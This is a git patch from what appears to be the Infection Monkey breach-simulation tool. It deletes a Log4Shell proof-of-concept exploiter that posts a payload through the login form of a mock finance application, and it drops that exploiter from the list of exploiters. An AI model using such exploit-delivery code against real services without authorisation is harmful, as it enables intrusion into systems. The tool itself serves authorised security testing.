From b94c8e54e2f8355d23413d845830642fdc6fb394 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 13 Jan 2022 16:59:22 +0100 Subject: [PATCH] Agent: Remove POC Docker Service --- .../service_exploiters/__init__.py | 3 +-- .../service_exploiters/poc_docker.py | 22 ------------------- 2 files changed, 1 insertion(+), 24 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 101db8f24..8b44e0e56 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -1,11 +1,10 @@ from typing import List from .i_service_exploiter import IServiceExploiter -from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit from .logstash import LogStashExploit def get_log4shell_service_exploiters() -> List[IServiceExploiter]: - return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] + return [SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py deleted file mode 100644 index 32aba9cec..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py +++ /dev/null @@ -1,22 +0,0 @@ -from logging import getLogger - -import requests - -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -class DockerPOCExploit(IServiceExploiter): - - service_name = "GoFinance mock application" - - @staticmethod - def trigger_exploit(payload: str, host: VictimHost, port: int): - url = f"http://{host.ip_addr}:{port}/login" - payload = {"uname": payload, "password": "m0nk3y"} - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}")